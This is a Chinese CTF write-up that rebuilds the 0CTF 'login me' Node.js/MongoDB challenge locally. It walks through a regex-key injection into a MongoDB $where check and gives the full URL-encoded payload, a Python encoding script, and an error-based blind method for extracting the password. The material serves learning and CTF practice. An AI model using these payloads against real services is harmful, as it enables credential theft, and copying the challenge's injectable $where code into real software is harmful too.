前记

一直想复现0ctf的题目,ezdoor就不说了,当时做完了web的部分,但是拿下来的文件opcache少了个00我也是服了,后来的反编译一直报错,想到就心塞....
今天又想起来另一道给了源码的题目,就是login me,说实话,复现这题也是为了自己学习新的语言,给自己一些挑战,毕竟是nodejs+mongodb,之前自己都没有接触过这方面的开发,只是有略微了解。所以也可以说又是一次标准的零基础日题了~

环境搭建

mongodb搭建

首先是下载

curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.0.6.tgz

然后就出问题了,如图:

解决方案

subl /etc/resolv.conf

添加

nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 198.153.192.1
nameserver 198.153.194.1
nameserver 208.67.222.222
nameserver 208.67.220.220

然后

service NetworkManager restart

即可
下载完成后

tar -zxvf mongodb-linux-x86_64-3.0.6.tgz

解压后启动mongodb

cd ./mongodb-linux-x86_64-3.0.6/bin/

启动

./mongod

报错

2018-04-08T17:19:33.264-0700 I STORAGE  [initandlisten] exception in initAndListen: 29 Data directory /data/db not found., terminating
2018-04-08T17:19:33.264-0700 I CONTROL  [initandlisten] dbexit:  rc: 100

发现没有/data/db,我们去创建

mkdir -p /data/db

再启动,启动完成后,我们尝试

发现成功

安装nodejs

sudo apt-get install nodejs
sudo apt-get install npm
测试

发现安装完毕
后尝试node指令,发现继续报错,发现未安装完毕

apt install nodejs-legacy

即可解决

启动服务

启动我们的js文件

node index.js

继续报错
发现模块没安装(和python差不多)
于是装模块

npm install express
npm install moment
npm install mongodb
npm install body-parser

装完后

node index.js

继续警告

body-parser deprecated undefined extended: provide extended option fuck.js:4:20

修改index.js

// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));

用后者即可解决
继续运行

node.js

发现各种报错
比如

Error: Can't set headers after they are sent.

进程直接崩了
无奈,手动修改源码,改了若干处,用了catch捕捉,和next(),最后可运行脚本如下

var express = require('express')
var app = express()
var bodyParser = require('body-parser')
// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));
var path    = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
    if (err) throw err;
    dbo = db.db("test_db");
    var collection_name = "users";
    var password_column = "password_"+Math.random().toString(36).slice(2)
    var password = "21851bc21ae9085346b99e469bdb845f";
    // flag is flag{password}
    var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
    myobj[password_column] = password;
    dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );
    app.get('/', function (req, res) {
        res.sendFile(path.join(__dirname,'index.html'));
    })
    app.post('/check', function (req, res,next) {
        var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
        for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) 
            {
                res.send('Nope');
                return next();
            }
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k]))
        }
        var query = {"$where" : check_function};
        var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
        dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
        if(e) 
        {
            console.log('\r\n', e, '\r\n', e.stack);
                try {
                    res.end(e.stack);
                    }   
                catch(e) { }
            return next()
        }       
        res.send('ok');
            // ... implementing, plz dont release this.
        });
    })
    app.listen(8081)
});

由于本地复现,我就不把flag处理了,就是

flag{21851bc21ae9085346b99e469bdb845f}

然后

mongodb://localhost:27017/

默认开在27017端口,所以不用管
此时去查看表和数据是否正常

> db.users.find()
{ "_id" : ObjectId("5acb11582be7bd70afb9d4c3"), "username" : "admin", "last_access" : "2018-04-09 00:08:08 -07:00", "password_6ya2mt945d9jatt9" : "21851bc21ae9085346b99e469bdb845f" }

发现一切正常,环境最终搭建完毕
心里一万句mmp

源码分析

这里就直接分析题目当时泄露的源码了,虽然对nodejs不了解..但毕竟都是代码,强行读还是能读的

var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path    = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
    if (err) throw err;
    dbo = db.db("test_db");
    var collection_name = "users";
    var password_column = "password_"+Math.random().toString(36).slice(2)
    var password = "XXXXXXXXXXXXXXXXXXXXXX";
    // flag is flag{password}
    var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
    myobj[password_column] = password;
    dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );
    app.get('/', function (req, res) {
        res.sendFile(path.join(__dirname,'index.html'));
    })
    app.post('/check', function (req, res) {
        var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
        for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k]))
        }
        var query = {"$where" : check_function};
        var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
        dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
            if(e) throw e;
            res.send('ok');
            // ... implementing, plz dont release this.
        });
    })
    app.listen(8081)
});

首先看前面一堆定义

var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

大致就是引入模块,和python差不多

express
body-parser
path
moment
mongodb

然后是nodejs与mongodb的连接

var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

紧接着看操作

MongoClient.connect(url, function(err, db) {
    if (err) throw err;
    dbo = db.db("test_db");
    var collection_name = "users";
    var password_column = "password_"+Math.random().toString(36).slice(2)
    var password = "XXXXXXXXXXXXXXXXXXXXXX";
    // flag is flag{password}
    var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
    myobj[password_column] = password;
    dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );

连接上后,得到几个关键信息
数据库名:test_db
表名:users
字段名:
username
last_access
以及随机生成的password列名

password_"+Math.random().toString(36).slice(2)

结果大致这样

password_6ya2mt945d9jatt9

然后数据如下

var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;

其中password就是我们需要的flag
然后进行操作

dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );

把之前的都删了,然后更新成最新的
也就是说,password这一列的列名每个人都不一样,但是对应的数据不会变,也就是flag
等于给我们的注入加大了难度,即无列名注入
然后接着看两个路由,又想到了python.....

app.get('/', function (req, res)
app.post('/check', function (req, res)

先看get方法的路由

app.get('/', function (req, res) {
        res.sendFile(path.join(__dirname,'index.html'));
    })

没什么特别的,就是你直接访问这个页面,会打印index.html的源代码
然后看post方法的路由

app.post('/check', function (req, res) {
    var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
    for(var k in req.body){
        var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
        if(!valid) res.send('Nope');
        check_function = check_function.replace(
            new RegExp('#'+k+'#','gm')
            ,JSON.stringify(req.body[k]))
    }
    var query = {"$where" : check_function};
    var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
    dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
        if(e) throw e;
        res.send('ok');
        // ... implementing, plz dont release this.
    });
})

这里就是一个拼接,大致上就是看你post的username和password是否带有危险参数

#
(
)

携带了就返回nope
若未携带,则进行拼接查询,将结果的last_access时间更改为最新的,然后返回ok
这里为了明显,我举个例子
比如我们post数据

username=admin&password=2

经过他的处理变成

if(this.username == "admin" && "admin" == "admin" && hex_md5("2") == this.password_f47ta8usnzrozuxr){ return 1; }else{ return 0;}

然后查询是否有

username = admin
password = md5(2)

的数据
如果有,则更新这条数据的最后登入时间,反则不操作
并且一律返回ok
所以,只要没带危险字符都是返回ok
然后最后是服务端口

app.listen(8081)

即服务跑在8081端口上

攻击点思考

一点一点思考,虽然没做过nodejs相关的知识学习,但是至少sql注入做的不少
对于返回一律是相同的操作,注入无非两种方式:
报错注入
时间盲注
经过随手测试

username[]=admin&password=2

发现竟然会报错

MongoError: exception: SyntaxError: Unexpected token ILLEGAL
    at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:595:61
    at authenticateStragglers (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:513:16)
    at null.messageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:549:5)
    at emitMessageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:309:10)
    at Socket.<anonymous> (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:452:17)
    at emitOne (events.js:77:13)
    at Socket.emit (events.js:169:7)
    at readableAddChunk (_stream_readable.js:146:16)
    at Socket.Readable.push (_stream_readable.js:110:10)
    at TCP.onread (net.js:523:20)

那么意味着可能无需进行时间注入
但是从另一个角度思考
我们没有括号,并且不知道列名
攻击对象是mongodb
这里需要知道mongodb是nosql的一种,和我们之前做过的mysql等不太一样
那么突破口在哪里呢?
我们可以看见,代码中的username和password是直接进行拼接的
那我们能不能构造代码注入之类的呢?
替换点在

check_function = check_function.replace(
            new RegExp('#'+k+'#','gm')
            ,JSON.stringify(req.body[k]))

那么这里的RegExp和stringify会不会有问题呢?
我们重点分析一下下面这个流程

for(var k in req.body){
        var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
        if(!valid) res.send('Nope');
        check_function = check_function.replace(
            new RegExp('#'+k+'#','gm')
            ,JSON.stringify(req.body[k]))
    }

把恶意字符检测部分去掉

for(var k in req.body)
{
    check_function = check_function.replace(
            new RegExp('#'+k+'#','gm')
            ,JSON.stringify(req.body[k]))
    }

k是什么?
我们测试一下

var req = Array();
req.body = {'username':'admin','password':'123'};
for(var k in req.body){
         console.log(k);
}

打印出结果

username
password

我继续测试

var req = Array();
req.body = {'username':'admin','password':'123','skysec.top':'1111','testtest':'123'};
for(var k in req.body){
         console.log(k);
}

打印结果

username
password
skysec.top
testtest

(注:这里由于我不了解nodejs,所以我类比一下php的称呼)
很明显,req.body是一个键值数组,而k正是键名
那么

new RegExp('#'+k+'#','gm')

是什么意思呢?
意思也很简单

g
全局匹配
m
多行;让开始和结束字符(^ 和 $)工作在多行模式工作(例如,^ 和 $ 可以匹配字符串中每一行的开始和结束(行是由 \n 或 \r 分割的),而不只是整个输入字符串的最开始和最末尾处。

合起来就是匹配

#键名#

这样的字符串
然后格式化一下

JSON.stringify(req.body[k])

即用值代替
这样例如

#username#

这样的字符串就被替换成了值

admin

但是这样显然引发了严重的错误
因为这个req.body的内容我们可控
即我们可控键名和值
那么这个时候,注意到正则

new RegExp('#'+k+'#','gm')

如果这个k我们可控,我们能否构造恶意代码呢?

正则大法

这么一道看似注入的题目,实则就是在考正则表达式
心里一万只cnm飞奔,可以说非常难受了
如果没有正则基础的那么解决这个题会非常难受
考虑到这是面向零基础的文章
所以直接分析payload的构造了
否则讲正则的话能写一本书了
这里给出参考文章

https://coxxs.me/676

以及最后的payload

username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

解码后我们得到的req.body为

'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'

为了方便查看
我们看一下有哪些键名

username
?(?=\){)|1
?== this.|1
?hex.*?rd.*?"|1
?"(?=\\))|1
?0;|1
?skysec.top|1

?....|1

这个正则出现频率很高,可以说每一个键名里都出现了
那么这个正则的作用是什么呢?
我们拆分分析

?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符

这里的

?

用于匹配前面的

#

然后

....

这部分是我们自己构造的正则
最后

|1

我们看一下

|
指明两项之间的一个选择

所以

|1

即如果前面匹配成功,则不再往后匹配
所以这样一来,就导致#对于我们自己填写的正则无任何作用,作用的一直是我们自己构造的正则
解决了两个#的正则问题,我们现在来解决替换内容的问题

第一个键名解析

第一个

?(?=\){)|1

(?=\){)

去掉转义

(?=){)

再去掉最外面包裹的括号

?=){

显而易见了
这里提及一个知识点,叫做断言,只匹配一个位置
比如,你想匹配一个"人"字,但是你只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式

(?=中国)人

这里即匹配

){

然后看他的值

] +

那么我们的check_fuction变为

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这一步的作用为:
为构造

this["password_column"]

铺垫

第二个键名解析

看第二个键

?== this.|1

去掉外层包裹

== this.

这个就很通俗易懂了:匹配== this.这个字符串
然后看他的值

<=this[

那么我们的check_fuction继续变为

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) "<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这一步的作用也很明显
构造出比较符

<=

并且彻底闭合我们的

this["password_column"]

第三个键名解析

然后看第三个键

?hex.*?rd.*?"|1

去掉外层包裹

hex.*?rd.*?"

很显然这里的意思就是匹配

hex_md5(#password#)

这样的东西
然后值我这里设置为123
然后我们的check_fuction变为

if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这里的作用是最关键的,即将之前难以下手的hex_md5直接替换成任意值,即我们想要注出的password

第四个键名解析

然后看第四个键

?"(?=\))|1

去掉外层包裹

"(?=\))

这里还是之前所说的断言,和中国人的例子
我们想匹配一个"人"字,但是只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式

(?=中国)人

那么这里只想匹配双引号
并且是后面有)的双引号
然后值为

""

然后我们的check_fuction变为

if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return 0;}

这一步的作用即闭合引号

第五个键名解析

然后看第五个键

?0;|1

去掉外层包裹

0;

这里的意思也很简单
就是匹配

0;

这个字符串
对应的值为

skysec.top

然后我们的check_function变为

if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return "skysec.top"}

这一步的作用就是将return后的值变成一个特殊字符(skysec.top),方便后面的操作

第六个键名解析

然后最后一个键

?skysec.top|1

去掉外层包裹

skysec.top

即匹配skysec.top字符串
然后替换为值

'+a+'

最后我们得到的check_function为

if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return ""+a+""}

这样分析就十分的简单了
即如果我们前面猜测的password(123)小于等于正确的password,那么将return 1
此时程序正常
但若我们猜测的password(999)大于正确的password,则return a
显然不存在这个定义的a,那么程序将会抛出错误
由此我们即可构造注入

payload构造

综合上述,我们写出一个可利用的payload转化脚本

import urllib
payload = ""
string = 'username:admin,?(?=\\){)|1:] +,?== this.|1:<=this[,?hex.*?rd.*?"|1:9,?"(?=\\))|1:,?0;|1:skysec.top,?skysec.top|1:+a+'
num = string.split(",")
for i in num:
    tmp = i.split(":")
    payload += urllib.quote(tmp[0])+"="+urllib.quote(tmp[1])+"&"
    print payload[:-1]

生成payload

username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

此时我们猜测的password为9,此时post该数据,可以发现页面报错

MongoError: ReferenceError: a is not defined
    at _funcs1 (_funcs1:4:11) near '""}'  (line 4)
    at Function.MongoError.create (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/error.js:45:10)
    at toError (/var/challenge/0ctf-loginme/node_modules/mongodb/lib/utils.js:149:22)
    at /var/challenge/0ctf-loginme/node_modules/mongodb/lib/collection.js:1035:39
    at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:541:18
    at nextTickCallbackWith0Args (node.js:419:9)
    at process._tickCallback (node.js:348:13)

和我们之前的预想一样,a未被定义,说明9比正确password的首位大
我们改成1

username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=1&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

可以发现页面正常返回ok
由此,我们之前的预想全部正确,但是在编写脚本的时候又遇到了新的问题
因为传递的data在python里是dict
dict在post时候会根据键名自己排序
变成了

{'username': 'admin', '?0;|1': 'skysec.top', '?hex.*?rd.*?"|1': 'f', '?(?=\\){)|1': '] +', '?skysec.top|1': '+a+', '?"(?=\\))|1': '', '?== this.|1': '<=this['}

这和我们的预期顺序

{'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'}

显然不符,这就导致了问题
因为Nodejs不是php指定参数名,我们传递的顺序正是req.body的顺序
但是正则匹配正是根据req.body的顺序,逐个替换
如果req.body里面的值相同,但顺序不一样,也会导致正则替换的严重错误
比如,预想中,我们第2个值的替换是为第3个值做铺垫,现在第2和第3换了个位置,就会越过我们的预期,导致错误。
所以最后还是选择了burp直接跑即可
最后运行后即可获得flag

21851bc21ae9085346b99e469bdb845f

和我们最初设置的值一致,故此,此题完结

后记

这个题因为我基础比较薄弱,我整整搞了大半天,正则真的是博大精深
不过知识也学到了许多,今后再有nodejs或是mongodb的题我也不会慌乱了
也很希望大家多多尝试自己搭建有源码的题目,不但能提高自己配置环境的能力,也能提高自己解决问题的能力!

源链接

Hacking more

...